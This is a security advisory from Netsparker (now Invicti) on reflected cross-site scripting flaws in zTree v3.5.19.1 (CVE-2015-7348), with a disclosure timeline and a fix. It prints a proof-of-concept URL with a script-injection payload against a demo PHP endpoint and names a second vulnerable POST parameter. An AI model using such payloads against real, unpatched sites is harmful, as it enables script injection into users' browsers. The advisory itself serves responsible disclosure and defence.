Multiple Cross-site Scripting Vulnerabilities Identified in zTree v3

Information

Advisory by Netsparker (now Invicti)
Name: Multiple XSS Vulnerabilities in zTree v3
Affected Software: zTree
Affected Versions: v3.5.19.1 and possibly below
Vendor Homepage: https://github.com/zTree/zTree_v3  
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
CVE-ID: CVE-2015-7348
Invicti Advisory Reference: NS-15-019

Technical Details

Proof of Concept URLs for XSS in zTree 3.5.19.1:

/zTree_v3-master/demo/en/asyncData/getNodesForBigData.php?id='"--></style></scRipt><scRipt>alert(0x00FA30)</scRipt>

/zTree_v3-master/demo/en/asyncData/getNodes.php
(POST, id parameter)

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

04/09/2015 – First Contact
16/11/2015 – Vendor Fixed
17/11/2015 – Advisory Released

Solution

https://github.com/zTree/zTree_v3

Credits & Authors

These issues have been discovered by Onur Yilmaz while testing Invicti Web Application Security Scanner.

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